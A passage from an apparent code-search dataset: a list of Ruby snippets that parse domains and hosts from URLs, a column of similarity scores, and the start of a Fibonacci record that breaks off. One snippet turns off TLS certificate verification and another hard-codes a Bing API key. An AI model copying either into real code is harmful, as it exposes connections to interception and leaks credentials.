"def extract_subdomain(host, tld_length); end",
"def first_domain_part\n return nil if request.env['HTTP_HOST'].blank?\n @first_domain_part ||= request.env['HTTP_HOST'].split(\".\").first\n end",
"def www\n \"www.#{domain}\"\n end",
"def cleanse_domain(domain)\n domain.downcase!\n domain = domain.sub(/^https?\\:\\/\\//, '').sub(/^www./,'')\n domain = domain.split(\"/\").first\n domain = domain.split(\"@\").last\n\n domain = PublicSuffix.parse(domain)\n domain = \"#{domain.sld}.#{domain.tld}\"\n domain\n end",
"def is_url_valid_www(url)\n return url.include? \"www.\"\nend",
"def domain\n @domain ||= begin\n return nil if @text.empty?\n\n uri = Addressable::URI.parse(@text)\n\n if uri.host # valid https?://* URI\n uri.host\n elsif email?\n @text.match(/@([\\w\\.\\-]+)\\Z/i)[1]\n else # url sans http://\n begin\n uri = Addressable::URI.parse(\"http://#{@text}\")\n # properly parse http://foo edge cases\n # see https://github.com/sporkmonger/addressable/issues/145\n uri.host if uri.host =~ /\\./\n rescue Addressable::URI::InvalidURIError\n nil\n end\n end\n end\n end",
"def domain\n @domain ||= begin\n return nil if @text.empty?\n\n uri = Addressable::URI.parse(@text)\n\n if uri.host # valid https?://* URI\n uri.host\n elsif email?\n @text.match(/@([\\w\\.\\-]+)\\Z/i)[1]\n else # url sans http://\n begin\n uri = Addressable::URI.parse(\"http://#{@text}\")\n # properly parse http://foo edge cases\n # see https://github.com/sporkmonger/addressable/issues/145\n uri.host if uri.host =~ /\\./\n rescue Addressable::URI::InvalidURIError\n nil\n end\n end\n end\n end",
"def nice_url\n\t\t# i want to take thr url and remove http:// and www.\n\t\t# gsub is global subsitution\n\t\turl.gsub(\"http://\", \"\").gsub(\"www.\", \"\")\n\tend",
"def host\n M_BCOM_VALID_URL.match(url)[:host]\n end",
"def getTLD(url)\r\n\tdomain = url.gsub(/.*?\\/\\/(.*?)\\/.*/,'\\1')\r\n\ttld = domain.gsub(/.*\\.(.*\\..*)/,'\\1')\r\n\treturn tld\r\nend",
"def clean_url(url)\n begin\n url = Addressable::URI.escape(url)\n url = \"http://#{url}\" if Addressable::URI.parse(url).scheme.nil?\n uri = URI(url)\n host = uri.host.downcase\n\n if host.start_with?('www.')\n host = host[4..-1]\n end\n\n host + uri.path.downcase\n rescue\n logger.debug \"Bad URL encountered in clean_url\"\n url\n end\n end",
"def extract_subdomains(host, tld_length); end",
"def domain(dom)\n domain = URI.extract(dom)\n raise ArgumentError, 'The domain must be a URL.' if domain.blank?\n @domain = URI.parse(domain[0]).normalize.to_s\n end",
"def social_media_name(url)\n if url.include?(\"www\")\n url_name = url.gsub(\"https://www.\",\"\")\n url_name = url_name.split(\".com\").unshift\n url_name[0]\n elsif url.include?(\"https\")\n url_name = url.gsub(\"https://\",\"\")\n url_name = url_name.split(\".com\").unshift\n url_name[0]\n else\n url_name = url.gsub(\"http://\",\"\")\n url_name = url_name.split(\".com\").unshift\n url_name[0]\n end\nend",
"def url_host(url)\n (url.match(REGEX_URL_HOST) || [])[1]\n end",
"def domain_parts\n PublicSuffix.parse domain\n rescue PublicSuffix::DomainInvalid\n nil\n end",
"def domain_parts\n PublicSuffix.parse domain\n rescue PublicSuffix::DomainInvalid\n nil\n end",
"def generate_host\n uri = Addressable::URI.parse(self.url)\n self.site = uri.site\n self.domain_tld = [uri.domain,uri.tld].join('.')\n end",
"def host\n _, _, host, = URI.split url\n host\n end",
"def build_domain \n unless self.domain\n self.domain = URI.parse(self.url).host \n self.save\n end\n end",
"def grabUrlsFromDomain(domain)\n @htmlDocument = Nokogiri::HTML(open(domain,{ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE}))\n if @htmlDocument.nil?\n abort red('Something went wrong ...')\n else\n puts green('Fetched.')\n end\n\n #Varibles\n tempArray = Array.new\n count = 1\n progress = ProgressBar.create(:starting_at => 0, :total => 200)\n\n @htmlDocument.xpath('//a[@href]').each do |link|\n #se for do mesmo dominio colocar no array\n if !link['href'].to_s.include? \"http://\"\n if !link['href'].to_s.include? \"https://\"\n tempUrl = domain+\"/\"+link['href']\n tempArray << tempUrl+\"\\n\"\n end\n end\n\n if count <= 200\n progress.increment\n end\n\n count+=1\n end\n\n #make they uniq then return\n return tempArray.uniq!\n\n end",
"def subdomains(tld_length = 1) \n parts = host.split('.')\n parts[0..-(tld_length+2)]\n end",
"def host_from_uri(domain)\n Addressable::URI.parse(domain).host || Addressable::URI.parse(\"http://#{domain}\").host\n end",
"def host_without_subdomain\n parts = request.host_with_port.split('.').last(2)\n parts.join('.')\n end",
"def deduce_tenant_host\n if request.host.downcase.start_with?('www.')\n request.host[4..-1]\n else\n request.host\n end\n end",
"def url_2_site (url)\n\t\tputs \"Retrieve the web site base for url: #{url}\" if @verbose\n\t\tbegin\n\t\t\turl = url.downcase\n\t\t\turl = url.sub(/^(.*?)http/i,'http')\n\t\t\tentry = url.split(%r{\\/\\/})\n\t\t\tprot=entry[0]\n\t\t\t# step 1, extract the host:port pair from the url\n\t\t\thost_port=entry[1].split(%r{\\/})[0]\n\t\t\tif host_port =~ /\\:/\n\t\t\t\thost=host_port.split(%r{\\:})[0]\n\t\t\t\tport=host_port.split(%r{\\:})[1].to_i\n\t\t\telsif prot =~ /https/i\n\t\t\t\thost=host_port\n\t\t\t\tport=443\n\t\t\telsif prot =~ /http/i\n\t\t\t\thost=host_port\n\t\t\t\tport=80\n\t\t\telse\n\t\t\t\thost=host_port\n\t\t\t\t#raise \"Unknown url format: #{url}\"\n\t\t\tend\n\t\t\t# additional logic to handle uncommon url base structures\n\t\t\tunless is_fqdn?(host)\n\t\t\t\tcase host\n\t\t\t\t\t# \"https://letmechoose.barclays.co.uk?source=btorganic/\" => \"https://letmechoose.barclays.co.uk\"\n\t\t\t\t\twhen /\\?|\\#/\t\n\t\t\t\t\t\thost=host.split(%r{\\?|\\#})[0]\n\t\t\t\t\telse\n\t\t\t\t\t\t#do nothing\n\t\t\t\tend\n\t\t\tend\n\t\t\t# step 2, put the host:port pair back to the normal site format \n\t\t\tprot=\"https:\" if port==443\n\t\t\tif port==80 || port==443\n\t\t\t\tsite=prot+\"//\"+host+\"/\"\n\t\t\telse\n\t\t\t\tsite=prot+\"//\"+host+\":\"+port.to_s+\"/\"\n\t\t\tend\n\t\t\tif site=~ /http/i\n\t\t\t\t#puts \"Base found: #{site}\" if @verbose\n\t\t\t\treturn site\n\t\t\telse\t\n\t\t\t\traise \"Problem encountered on method url_2_site: Unable to convert #{url}\"\n\t\t\t\treturn nil\n\t\t\tend\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"def normalize(domain)\n # strip off the protocol (\\w{1,20}://), the URI (/), parameters (?), port number (:), and username (.*@)\n # then split into parts via the .\n parts = domain.gsub(%r{^\\w{1,20}://}, '').gsub(%r{[/?:].*}, '').gsub(/.*?@/, '').split('.')\n # grab the last two parts of the domain\n dom = parts[-2, 2].join '.'\n # if the dom is in the two_level_tld list, then use three parts\n dom = parts[-3, 3].join '.' if @two_level_tld.index dom\n dom = parts[-4, 4].join '.' if @three_level_tld.index dom\n dom\n end",
"def base_domain(response)\n if response.respond_to? :request\n host = response.request.host.sub /:\\d+$/, ''\n return if host =~ /^([\\d.]+|localhost)$/\n\n host =~ /([^.]*)\\.([^.]*|..\\...|...\\...|..\\....)$/\n \".#{$1}.#{$2}\"\n end\n end",
"def same_domain_urls\n (css_links + javascript_links + image_links + links).select{|url| \n begin \n URI.parse(url).host == @url.host\n rescue URI::InvalidURIError => e\n puts \"invalid uri \", e \n end\n }.uniq\n end",
"def sf_domain(uri)\n uri = uri.to_s.split('/')\n uri.empty? ? '' : uri[2]\n end",
"def website_url\n Organization.clean_url(read_attribute(:website_url))\n end",
"def getTLD(url)\n\tdomain = url.gsub(/.*?\\/\\/(.*?)\\/.*/,'\\1')\n\ttld = domain.gsub(/.*\\.(.*\\..*)/,'\\1')\n\treturn tld\nend",
"def domain\n URI.parse(@config.split('<')[0].split('->')[0])\n end",
"def full_url\n full_domain(:with_protocol => true)\n end",
"def full_url\n full_domain(:with_protocol => true)\n end",
"def parse_session_domain\n \".#{$1}\" if /([^\\.]+\\.[^\\.]+)$/.match(request.forwarded_hosts.first)\n end",
"def to_domain\n domain = @uri.domain\n domain ? Wgit::Url.new(domain) : nil\n end",
"def to_domain\n domain = @uri.domain\n domain ? Wgit::Url.new(domain) : nil\n end",
"def domain\n server_name || http_host\n end",
"def website_url; website end",
"def domain(tld_length = 1)\n host.split(\":\").first.split(\".\").last(1 + tld_length).join(\".\")\n end",
"def parse_domain_name\n if @options[:domain].blank? && !@options[:username].blank?\n if @options[:username].include?('\\\\')\n @options[:domain], @options[:username] = username.split('\\\\')\n elsif @options[:username].include?('/')\n @options[:domain], @options[:username] = username.split('/')\n end\n end\n end",
"def a_domain_we_care_about?(url)\n begin\n [email protected] { |domain| URI.parse(url).host == domain.host }.empty?\n rescue\n [email protected] { |domain| url.gsub(/https*:\\/\\//,'').starts_with?(domain.host) }.empty?\n end\n end",
"def host_and_path(url)\n md = url.scan(/\\/\\/([^\\/]*)(.*)/)\n return md[0][0], md[0][1]\nend",
"def extract_host(u)\n URI.split(u).compact[1]\n end",
"def short_url\n return nil if url.nil?\n url.gsub(\"http://\",\"\").gsub(\"www.\", \"\")\n end",
"def site_lookup(domain)\n tracker=Wmap::SiteTracker.instance\n tracker.verbose=false\n #first order search\n tracker.known_sites.each do |key,val|\n if key.include?(domain.strip.downcase) && key.include?(\"https\")\n tracker=nil\n return [key] + val.values\n end\n end\n #second order search\n tracker.known_sites.each do |key,val|\n if key.include?(domain.strip.downcase)\n tracker=nil\n return [key] + val.values\n end\n end\n tracker=nil\n return [nil]*9\n end",
"def host_on_header\n request.headers['HTTP_HOST']\n end",
"def link_host\n return if field['u'].nil?\n\n @link_host ||= begin\n # Not sure why I need this, but it fails on certain URLs w/o it. The link printed still has character in it\n fixed_url = field['u'].gsub('^', '').strip\n link = URI.parse(fixed_url)\n\n return link.host unless PROXY_URL_REGEX.match?(link.to_s) && link.to_s.include?('url=')\n\n proxy = CGI.parse(link.query.force_encoding(Encoding::UTF_8))\n return link.host unless proxy.key?('url')\n\n extracted_url = URI.extract(proxy['url'].first).first\n return link.host unless extracted_url\n\n URI.parse(extracted_url).host\n rescue URI::InvalidURIError\n return nil\n end\n end",
"def extract_host(u)\n URI.split(u).compact[1]\n end",
"def scheme_with_host(domain=nil)\n ['http://', domain || self.name, '/'].join(\"\")\n end",
"def host\n URI.parse(@url).host\n end",
"def host_from_url(url)\n URI.parse(url).host\n rescue URI::InvalidURIError, URI::InvalidComponentError, Addressable::URI::InvalidURIError => e\n add_fatal_error \"Link parsing exception: #{e.message}\" and nil\n end",
"def host\n domain\n end",
"def domain_2_site (domain,port=80)\n puts \"Perform simple http(s) service detection on domain #{domain}, port #{port}\" if @verbose\n begin\n domain=domain.strip\n if port.to_i == 80\n url_1 = \"http://www.\" + domain + \"/\"\n elsif port.to_i ==443\n url_1 = \"https://www\" + domain + \"/\"\n else\n url_1 = \"http://www\" + domain + \":\" + port.to_s + \"/\"\n url_2 = \"https://www\" + domain + \":\" + port.to_s + \"/\"\n end\n puts \"Please ensure your internet connection is active before running this method: #{__method__}\" if @verbose\n checker=Wmap::UrlChecker.new\n if checker.response_code(url_1) != 10000\n puts \"Found URL: #{url_1}\" if @verbose\n return url_1\n elsif checker.response_code(url_2) != 10000\n puts \"Found URL: #{url_2}\" if @verbose\n return url_2\n else\n puts \"No http(s) service found on: #{domain}:#{port}\" if @verbose\n return nil\n end\n rescue => ee\n puts \"Exception on method #{__method__}: #{ee}\" if @verbose\n return nil\n end\n end",
"def check_domain_matches(drop)\n unless custom_domain_matches? drop\n puts [ '*' * 5,\n drop.data[:url].inspect,\n env['HTTP_HOST'].inspect,\n '*' * 5\n ].join(' ')\n\n not_found\n end\n end",
"def cleanup_domain\n domain.reject!(&:blank?)\n end",
"def get_townhall_urls(url)\n\n page = Nokogiri::HTML(URI.open(url)) \n #townhall_url = page.xpath(\"//a/@href\").map {|x| x.value}\n townhall_urls_array_incomplete = page.css('a[href].lientxt').map {|x| x[\"href\"]}\n #remove the dot at the beginning of the url\n townhall_urls_array_incomplete = townhall_urls_array_incomplete.map {|x| x[2..]}\n townhall_urls_array = townhall_urls_array_incomplete.map {|x| \"http://annuaire-des-mairies.com/\" + x}\n return townhall_urls_array\n\nend",
"def domain\n @uri[:domain]\n end",
"def request_subdomain\n request.host.split(/\\./).first\n end",
"def formatted_website_url\n first_url = self.webaddr.is_a?(Array) ? self.webaddr.first : self.webaddr\n Addressable::URI.heuristic_parse(first_url).to_s\n end",
"def get_company_url_from_internet( name )\n url_friendly_name = make_url_friendly name\n api_url = \"http://api.bing.net/xml.aspx?AppId=65E209AA925DE92F7B6235CFD453A33BE4893A66&Version=2.2&Market=en-US&Query=#{url_friendly_name}&Sources=web+spell&Web.Count=1\"\n url = ''\n response = open(api_url)\n xml = response.read\n doc = REXML::Document.new xml\n if ( doc != nil )\n results = doc.elements.to_a(\"//web:WebResult/web:Url\")\n url = results[0]\n else\n url = \"nothing\"\n end\n if url != nil\n begin\n domain_name = Domainatrix.parse(url.text)\n url = \"#{domain_name.domain}.#{domain_name.public_suffix}\"\n if is_noise? name, url\n url = ''\n end\n rescue\n url = ''\n end\n else\n url = ''\n end\n return url\n end",
"def domain\n @domain ||= PublicSuffix.parse(@fqdn).domain\n end",
"def wp_site_lookup(domain)\n tracker=Wmap::WpTracker.new(:verbose=>false)\n \t# first order\n \ttracker.known_wp_sites.each do |key,val|\n \t\tif key.include?(domain.strip.downcase) && val\n \t\t\tver=tracker.wp_ver(key)\n \t\t\ttracker=nil\n \t\t\treturn [val,ver]\n \t\tend\n \tend\n # second order\n tracker.known_wp_sites.each do |key,val|\n if key.include?(domain.strip.downcase) && key.include?(\"https\") && val\n tracker=nil\n return [val,nil]\n end\n end\n # third order\n tracker.known_wp_sites.each do |key,val|\n if key.include?(domain.strip.downcase)\n tracker=nil\n return [val,nil]\n end\n end\n tracker=nil\n return [nil,nil]\n end",
"def base_hostname\n @username.match(/.com/) ? @username : \"#{@username}.tumblr.com\"\n end",
"def domain\n domain = request.host\n domain << \":#{request.port}\" unless [80, 443].include?(request.port)\n domain\n end",
"def canonical_tld?; end",
"def splitUrl(fullUrl)\n answerArray = fullUrl.scan(/http:\\/\\/([^\\/]+)(\\/\\S*)*/i)\n if answerArray.length == 0\n print \"ERROR uh oh #{fullUrl} doesn't seem to be a full url like http://www.example.com/\\n\"\n return\n end\n pageOnly = answerArray[0][1] || '' # cover case of \n hostAndIP = answerArray[0][0]\n hostToGetFrom = hostAndIP.split(\":\")[0]\n ipPortToGetFrom = (hostAndIP.split(\":\")[1] || '80').to_i \n return pageOnly, hostToGetFrom, ipPortToGetFrom\n end"
] |
[
"0.81021565",
"0.80014163",
"0.7758066",
"0.7671145",
"0.7600646",
"0.7586452",
"0.754547",
"0.75320435",
"0.7417374",
"0.7335665",
"0.7327372",
"0.718094",
"0.71241",
"0.70425934",
"0.69966865",
"0.69837767",
"0.69404125",
"0.69399065",
"0.69060874",
"0.6887073",
"0.68766916",
"0.68746835",
"0.6853757",
"0.6853757",
"0.68128955",
"0.6811427",
"0.67726386",
"0.6769094",
"0.672169",
"0.6713235",
"0.6704657",
"0.6691677",
"0.66359466",
"0.6617307",
"0.6596492",
"0.6545316",
"0.6527316",
"0.6459437",
"0.6459437",
"0.64214873",
"0.64174604",
"0.64013183",
"0.64003533",
"0.63875383",
"0.63754326",
"0.63745457",
"0.6373617",
"0.636757",
"0.636757",
"0.634758",
"0.6345952",
"0.63081276",
"0.6294532",
"0.62844855",
"0.6275789",
"0.62746793",
"0.6270389",
"0.6259784",
"0.6246025",
"0.6245273",
"0.6211012",
"0.62109566",
"0.6191907",
"0.61884254",
"0.61838",
"0.61832833",
"0.61832833",
"0.61816853",
"0.61723757",
"0.61723757",
"0.61604",
"0.6158167",
"0.61466956",
"0.613566",
"0.61217344",
"0.6111517",
"0.60915387",
"0.6074945",
"0.60665137",
"0.6045527",
"0.6030022",
"0.60255617",
"0.60162175",
"0.60135955",
"0.60090613",
"0.5985333",
"0.59851485",
"0.5979246",
"0.5974219",
"0.5966034",
"0.59625065",
"0.5960695",
"0.5958833",
"0.59586924",
"0.59530514",
"0.5934313",
"0.5919455",
"0.59119487",
"0.5898369",
"0.589819"
] |
0.75944036
|
5
|
takes an array of digits and sums all of the elements
|
def sum(nums)
return 0 if nums.empty?
nums[0] + sum_rec(nums[1..-1])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sum_digits(array)\n return array.inject(:+) #explanation? combines all elements of array by applying binary operation, same as reduce\n # array.reduce do |product = 0, n| \n # product + n\n # end\n end",
"def digit_sum(array)\n array.map { |n| n >= 10 ? n / 10 + n % 10 : n }\n end",
"def summing_method(single_digit_array)\n summed_array = single_digit_array.sum\nend",
"def summing_method\n @summed_array = @single_digit_array.sum\n end",
"def digits_sum\n self.split('').map {|x| x.to_i}.inject(0) do |res,elt|\n res += elt\n res\n end\n end",
"def sum array\n\tsum = 0\n\tarray.each do |number|\n\t\tsum = sum + number\n\tend\n\tsum\nend",
"def add_array_numbers(array)\n result = array.sum\n # .sum cannot be used on a string, only integars and floats\n return result\nend",
"def sum(array)\n array.map(&:to_i).reduce(0, :+)\nend",
"def sum(array)\n\ttotal = 0\n\tfor number in array #could do each do instead of for loop\n\t\ttotal += number\n\tend\n\treturn total\nend",
"def sumNumbers(arr)\n arr.map{|i|\n i > 9 ? splittedSum(i) : i\n }.inject(0,:+)\n end",
"def array_to_sum(input)\n arr_sum = []\n\n input.each_with_index do |x,y| \n arr_sum << x*10**(input.size - (y + 1))\n end\n\n arr_sum.sum\nend",
"def add_all_numbers(array)\n array.inject(:+)\nend",
"def sum(num)\n\n\tarray_of_digits = num.digits\n\n\tarray_of_digits.sum\n\nend",
"def sum(input_integer)\n digits = input_integer.to_s.chars\n sum_array = digits.map { |digit| digit.to_i }.reduce(:+)\nend",
"def sum_array(array)\n sum = 0\n array.each do |number|\n sum += number\n end\n sum\nend",
"def arr_sum(array)\n\tnum_list = []\n\tarray.to_s.each_char do |char|\n\t\tp char\n\t\tif char.match(/[0-9]/) #== true\n\t\t\tnum_list << char\n\t\tend\n\tend\n\tsum = 0\n\tnum_list.each do |s|\n\t\tsum += s.to_i\n\tend\n\treturn num_list, sum\nend",
"def sum(i)\n sum = i.digits.reduce(:+)\n sum\nend",
"def sum_array(array)\n sum = 0\n\n array.each do |number|\n sum += number\n end\n\n return sum\nend",
"def sum_array(numbers)\n return numbers.sum()\nend",
"def sum(array)\n sum = 0\n\n array.each { |number|\n sum += number\n }\n\n return sum\nend",
"def sum_array(int_array)\n int_array.reduce(:+)\nend",
"def sum_digits(n)\n digits = n.digits.reverse\n circle_array = [1, 10, 9, 12, 3 , 4]\n product = []\n\n loop do\n break if digits == []\n product << digits.pop * circle_array.first\n circle_array.rotate!(1)\n end\n\n product.sum\nend",
"def sum_array(array)\n sum = 0\n array.each do |num|\n sum = sum + num\n end\n sum\nend",
"def sum(numbers)\n string = numbers.digits.reverse\n string.reduce(:+)\nend",
"def arr_sum(array)\n sum = 0 # Declares initial value for variable 'sum' as 0\n array.each do |i| # Begin iterating each item of arr\n sum += i # add each number in array to the next item, continue until items exhausted\n end\n return sum # Returns new sum value\nend",
"def sum_of_digits(number)\n split_to_array(number).inject(:+)\n end",
"def sum_array(array)\n sum = 0\n array.each do |num|\n sum += num\n end\n sum\nend",
"def sum(num)\n digits = num.to_s.chars.map(&:to_i) # Get an array of ints\n digits.reduce(:+) # Return sum of digits\nend",
"def sum_array(array)\n sum = 0\n array.each{ |num| sum += num }\n sum\nend",
"def sum(array)\n s = 0\n\tarray.each {|x| s+= x}\n\ts\nend",
"def sum_of_sums(int_arr)\n sum = 0\n current_numbers = []\n int_arr.each { |int|\n current_numbers << int\n sum += current_numbers.sum\n }\n sum\nend",
"def sum(array)\n sum = 0\n array.each { |n| sum += n } \n sum\nend",
"def sum_array( numbers )\r\n numbers.inject(0, :+)\r\nend",
"def sum(array)\n array.inject(0){|sum, n| sum + n}\n end",
"def sum(array)\n array.reduce(0) {|base, ele|\n base+=ele\n }\n end",
"def sum(array)\n sum = 0\n array.each do |num|\n sum += num\n end\n sum\nend",
"def sum_digits\n self.to_s.split('').inject(0) { |memo, c| memo + c.to_i }\n end",
"def sum_array(array)\n total = 0\n array.each do |num|\n total += num\n end\n total\nend",
"def sum_array(array)\n sum = 0\n array.each do |num|\n sum+=num\n end\n sum\nend",
"def sum_array(numbers)\n total = 0\n for number in numbers\n total = total + number\n end\n return total\nend",
"def sum_array (arr)\n result = 0\n arr.each do |value|\n result +=value\n end\n result\nend",
"def total(array_of_numbers)\n return array_of_numbers.reduce(:+)\nend",
"def sum(number)\n array = number.to_s.split('')\n array.map! { |num| num.to_i }\n sum_nums = 0\n array.each { |num| sum_nums += num }\n sum_nums\nend",
"def sum_of_sums(numbers)\n numbers_to_add = Array.new\n numbers.each_index do |index|\n numbers_to_add += numbers[0..index]\n end\n numbers_to_add.reduce(:+)\nend",
"def sum(array)\n\tarray.reduce(:+)\nend",
"def total(array)\n sum = 0\n array.each do |number|\n sum = sum += number\n end\n sum\nend",
"def sum_of_sums(array)\n sequence_total = 0\n sum = 0\n array.each do |n|\n sequence_total += n\n sum += sequence_total\n end\n sum\nend",
"def digits_sum(n)\n n.to_s.split('').inject(0){|a,b|a+=b.to_i}\nend",
"def sumArray(array)\n sum = 0\n array.each do\n |n|\n sum += n.to_i\n end\n puts \"Somme : #{sum}\"\nend",
"def sum arr\n rtn = 0\n arr.each { |n| rtn += n }\n return rtn\nend",
"def sum arr\n result = 0\n arr.each do |num|\n \tresult += num\n end\n result\nend",
"def sum(array_of_integers)\n # TODO\nend",
"def sum_array(array)\n sum = 0\n array.each do |element|\n sum += element\n end\n sum\nend",
"def sum(numbers)\n numbers.reduce(&:+)\n end",
"def sum_only_numbers(array)\n ll_sum = 0.0\n if array.length > 0\n for idx in array do\n if idx.is_a?(Numeric)\n ll_sum += idx\n end\n end\n end\n return ll_sum\nend",
"def total(array_of_numbers)\n sum = 0\n array_of_numbers.each do |num|\n sum += num\n end\n return sum\nend",
"def sum_of_sums(arr)\n sum = 0\n total = 0\n\n arr.each do |num|\n sum += num\n total += sum\n end\n total\nend",
"def sum_of_sums(arr)\n sum = 0\n total = 0\n\n arr.each do |num|\n sum += num\n total += sum\n end\n total\nend",
"def sum1(array)\r\n sum = 0\r\n array.each do |number|\r\n sum += number\r\n end\r\n sum\r\nend",
"def sum_of_sums(array)\n sum = 0\n sum_array = array.map { |x| sum += x }\n sum_array.inject(:+)\nend",
"def sum(arr)\n output = 0\n arr.each do |num|\n output += num\n end\n return output\nend",
"def sum_of_sums(array)\n total = 0\n\n 1.upto(array.size) do |num|\n total += array.slice(0, num).reduce(:+)\n end\n total\nend",
"def sum_array(array)\n sum = 0\n array.each do |x|\n sum += x\n end\n return sum\nend",
"def sum(array)\n i = 0\n output = 0\n while i < array.length\n output += array[i].to_int\n i += 1\n end\n return output\nend",
"def sum_array(array)\n sum = 0\n array.each do |value|\n sum += value\n end\n sum\nend",
"def sum(array)\n\treturn array.reduce(:+)\nend",
"def sum(num)\n digits = []\n sum = 0\n digits = num.digits\n sum = digits.sum\n return sum\nend",
"def sum(num)\na_num = []\nnum_split_string = num.to_s.split('')\n \n while a_num.count < num do\n a_num.push(num_split_string)\n a_num.count\n break\n end\n a_num.flatten!.map! do |e|\n e.to_i\n end\n a_num.sum\nend",
"def sum arr\n #Just iterate through the array and add each element to the sum\n sum = 0\n for val in arr\n \tsum = sum + val\n end\n sum\nend",
"def checksum(digits_array)\n # reverse the array , and iterate through the array.\n total = digits_array.reverse.each_with_index.inject(0) do |sum, (digit, index)|\n # Add digits together, doubling every other (even indexs)\n # Use sum_of_digits to sum the digits for products > 9\n sum + sum_of_digits(index.even? ? digit * 2 : digit)\n end\n\n checksum = 10 - (total % 10)\n checksum == 10 ? 0 : checksum\n end",
"def my_sum(array)\n sum = 0\n array.each do |num|\n sum += num\n end\n sum\nend",
"def sum (arr)\n\treturn arr.inject(0, :+)\nend",
"def it_arr_sum(array)\r\n sum = 0\r\n array.each {|ele| sum += ele}\r\n return sum\r\nend",
"def sum (array)\n y=array.inject(:+).to_i\nend",
"def sum_of_sums(array)\n\n sums_array = []\n\n sum = 0\n array.each do |value|\n sum += value\n sums_array << sum\n end\n \n sums_array.sum\nend",
"def total(array)\n\tsum = 0\n\tarray.each {|number| sum += number}\n\tsum\nend",
"def sum(array)\n array.reduce(0) {|sum, num| sum += num}\nend",
"def sum(array)\n sum = 0\n array.each do |a|\n sum += a\n end\n return sum\nend",
"def sum(numbers)\n\tresult = 0\n\tnumbers.collect do |i|\n\tresult += i if i.is_a? Integer\n\tend\n\tresult\nend",
"def add_nums number\n i = number.digits.count - 1\n j = 0\n sum = 0\n array = number.digits\n p i\n loop do\n p array[i]\n sum += array[i]\n i -= 1\n j += 1\n break if i < 0 || j == 2\n end\n sum\nend",
"def sum_array(array)\n\tarray.inject { |sum, n| sum + n }\nend",
"def array_sum(arr)\n\n sum = 0\n arr.each {|n| sum += n}\n\n sum\nend",
"def sum_of_sums(array)\n n = 1\n running_total = 0\n while n <= array.size\n running_total += array.first(n).reduce(:+)\n n += 1\n end\n running_total\nend",
"def simpleArraySum(ar)\n return ar.map(&:to_i).sum\nend",
"def total (array)\n\tsum=0\n\tarray.each do |n| sum += n\n\tend\n\treturn sum\nend",
"def sum(array)\n\n raise 'array includes non integers' unless \n (array.empty? || array.all? { |x| x.integer?})\n \n array.reduce(0,:+)\n \nend",
"def sum(arr)\n arr.inject(0.0) { |sum, el| sum + el.to_f }\n end",
"def total(array)\n sum = 0\n array.each do |n|\n sum += n\n end\n sum\nend",
"def sum_of_sums(array)\n new_array = []\n array.size.times do |n|\n new_array << array[0..n]\n end\n new_array.flatten.reduce(:+)\nend",
"def sum_array(array)\n\tarray.inject do |sum, n| sum + n\n\tend\nend",
"def sum_array(array)\n return array.sum\n\n # sum_total_of_array = 0\n # for number in array\n # sum_total_of_array += number\n # end\n # return sum_total_of_array\nend",
"def sums_all_elements(input)\n input.inject(:+)\n end",
"def add_numbers(nums_array)\n nums_array.inject { |sum, el| sum + el }\nend",
"def sum_array(array)\n array.reduce(:+)\nend",
"def sum_array(any_array)\n any_array.inject(:+)\n end",
"def sum(array)\n array.reduce(0, :+)\n=begin\n res =0\n array.each { |a| res += a }\n res.to_i\n=end\nend",
"def sum_of_sums(array)\r\nend",
"def sum_up_numbers(arr)\n arr.select {|n| n.is_a? Integer}.reduce(0, :+)\nend",
"def sum_array(array)\n sum = 0\n array.each do |i|\n sum+=i\n end\n sum\nend",
"def simple_array_sum arr\n arr.reduce(:+)\n end",
"def multi_dimensional_sum(array)\n while !array.all? { |el| el.is_a?(Numeric) }\n array = unpack(array)\n end\n return array.sum\nend"
] |
[
"0.86284894",
"0.8384672",
"0.8155823",
"0.8001407",
"0.7968202",
"0.7769528",
"0.77677757",
"0.77426016",
"0.7701103",
"0.7696725",
"0.76922643",
"0.76600677",
"0.76273334",
"0.76125234",
"0.7558137",
"0.75278807",
"0.75194454",
"0.7512243",
"0.7499919",
"0.7499558",
"0.7466255",
"0.7461309",
"0.7447525",
"0.7442753",
"0.74412507",
"0.7429885",
"0.742813",
"0.7410923",
"0.74068654",
"0.7399632",
"0.73886645",
"0.7379589",
"0.73780525",
"0.73737967",
"0.73736745",
"0.73635584",
"0.73634535",
"0.73544306",
"0.7351995",
"0.73508817",
"0.73497015",
"0.734792",
"0.7346908",
"0.734229",
"0.7333985",
"0.7328301",
"0.7326947",
"0.730977",
"0.7309323",
"0.7309112",
"0.73083603",
"0.72984886",
"0.72977656",
"0.7293261",
"0.72903013",
"0.7288322",
"0.72838324",
"0.72838324",
"0.7279274",
"0.7270696",
"0.72702664",
"0.72644925",
"0.7260355",
"0.7257157",
"0.72557193",
"0.72545016",
"0.72504103",
"0.72494316",
"0.72468656",
"0.724005",
"0.7238184",
"0.72358304",
"0.7233546",
"0.7227256",
"0.7225675",
"0.72253644",
"0.721882",
"0.7217747",
"0.72164524",
"0.72162426",
"0.7209775",
"0.71918887",
"0.71910155",
"0.71903116",
"0.7187165",
"0.7185775",
"0.71815455",
"0.71775645",
"0.71761876",
"0.7176149",
"0.71745515",
"0.717086",
"0.7170209",
"0.71694195",
"0.71684253",
"0.716713",
"0.71663374",
"0.7147545",
"0.7146863",
"0.71467566",
"0.7145011"
] |
0.0
|
-1
|
returns the first n fibonacci numbers
|
def fibs(n)
return [0] if n == 1
return [0, 1] if n == 2
fibs = fibs(n - 1)
fibs << fibs[-2] + fibs[-1]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fibonaci(n)\n\tfi= [1, 1]\n\t(n-1).times do\n\t\tfi << fi[1]+fi.shift\n\tend\n\treturn fi[0]\nend",
"def nth_fibonacci(n)\n result = [0,1]\n\n for i in 1..n-1\n result[i+1] = result[i] + result[i-1]\n end\n\n return result[n]\nend",
"def iterative_nth_fib(n)\n return 1 if n <= 2\n a = 1\n b = 1\n i = 3\n while i <= n\n new_a = b\n b = a + b\n a = new_a\n i += 1\n end\n b\nend",
"def fibo_nth(n)\n puts \"computing fibo for n=#{n}\" if @debug\n\n case n\n when 0 then 0\n when 1 then 1\n else fibo_nth(n-2) + fibo_nth(n-1)\n end\nend",
"def fibo_finder(n)\n start = [0,1]\n n.times {|i| start[i + 2] = start[i] + start[i + 1]}\n start[n]\nend",
